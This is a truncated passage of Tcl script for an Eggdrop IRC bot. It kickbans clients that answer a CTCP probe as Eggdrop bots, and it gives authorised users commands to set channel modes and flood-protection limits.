{[isutimer "pub_nobot"]} { return 0 } if {[rand 2] <= 1} { puthlp "PRIVMSG $chan :\001USERINFO\001" } { puthlp "PRIVMSG $chan :\001CLIENTINFO\001" } return 0 } bind ctcr - USERINFO ui_reply bind ctcr - CLIENTINFO ui_reply proc ui_reply {nick uhost hand dest key arg} { global botnick bannick notc ismaskhost if {![string match "*eggdrop*" $arg]} { return 0 } if {$nick == $botnick || [matchattr $nick f]} { return 0 } foreach x [channels] { if {[onchan $nick $x] && [isop $botnick $x] && ![isop $nick $x]} { if {[info exists ismaskhost]} { set bannick($nick) [maskhost "*!*[string range $uhost [string first "@" $uhost] end]"] } { set bannick($nick) "*!*[string range $uhost [string first "@" $uhost] end]" } putsrv "KICK $x $nick :$notc 4!1alert4! 2$x1 forbidden for 2eggy1 due to lame anticipated [banmsg]" return 0 } } } ## sdeop bind pub Z `sdeop pub_sdeop proc pub_sdeop {nick uhost hand chan rest} { global notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan $rest } if {[isop $botnick $chan]} { puthelp "mode $chan +v-ko $botnick 6admin.request $botnick" } } ## chanmode bind msg Z `chanmode pub_chanmode bind pub Z `chanmode pub_chanmode proc pub_chanmode {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthelp "NOTICE $nick :$notc Usage: chanmode #channel +ntsmklic" ; return 0 } if {[string index [lindex $rest 0] 0] == "#"} { if {![validchan [lindex $rest 0]]} { puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 0]" ; return 0 } set chan [lindex $rest 0] ; set rest [lrange $rest 1 end] } if {![validchan $chan]} { puthlp "NOTICE $nick :$notc $chan " } else { catch { channel set $chan chanmode $rest } savechan puthelp "NOTICE $nick :$notc $chan set modes \[$rest\]" } return 0 } ## chanset bind msg Z `chanset pub_chanset bind pub Z `chanset pub_chanset proc pub_chanset {nick uhost hand chan rest} { global botnick notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set channel [lindex $rest 0] set options [string tolower [lindex $rest 1]] set number "0" if {$options == "deop" || $options == "kick" || $options == "join" || $options == "line" || $options == "nick" || $options == "ctcp"} { set number [lindex $rest 2] } if {($channel == "") || ($options == "")} { puthlp "NOTICE $nick :$notc Usage: chanset #channel " ; return 0 } if {![string match "*-*" $options] && ![string match "*+*" $options] && ![string match "*:*" $number]} { puthlp "NOTICE $nick :$notc Usage: chanset #channel " ; return 0 } if {[validchan $channel]} { if {$options == "deop"} { catch { channel set $channel flood-deop $number } ; puthlp "NOTICE $nick :$notc set deop flood \[$number\] on $channel" } elseif {$options == "kick"} { catch { channel set $channel flood-kick $number } ; puthlp "NOTICE $nick :$notc set kick flood \[$number\] on $channel" } elseif {$options == "join"} { catch { channel set $channel flood-join $number } ; puthlp "NOTICE $nick :$notc set join flood \[$number\] on $channel" } elseif {$options == "line"} { catch { channel set $channel flood-chan $number } ; puthlp "NOTICE $nick :$notc set line flood \[$number\] on $channel" } elseif {$options == "nick"} { catch { channel set $channel flood-nick $number } ; puthlp "NOTICE $nick :$notc set nick flood \[$number\] on $channel" } elseif {$options == "ctcp"} { catch { channel set $channel flood-ctcp $number } ; puthlp "NOTICE $nick :$notc set ctcp flood \[$number\] on $channel" } else { catch { channel set $channel ${options} } ; puthelp "NOTICE $nick :$notc Successfully set modes \[${options}\] on $channel" ; savechan } } else { puthlp "NOTICE $nick :$notc $channel " } } ## chansetall bind msg Z `chansetall pub_chansetall bind pub Z `chansetall pub_chansetall proc pub_chansetall {nick uhost hand chan rest} { global botnick notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: chansetall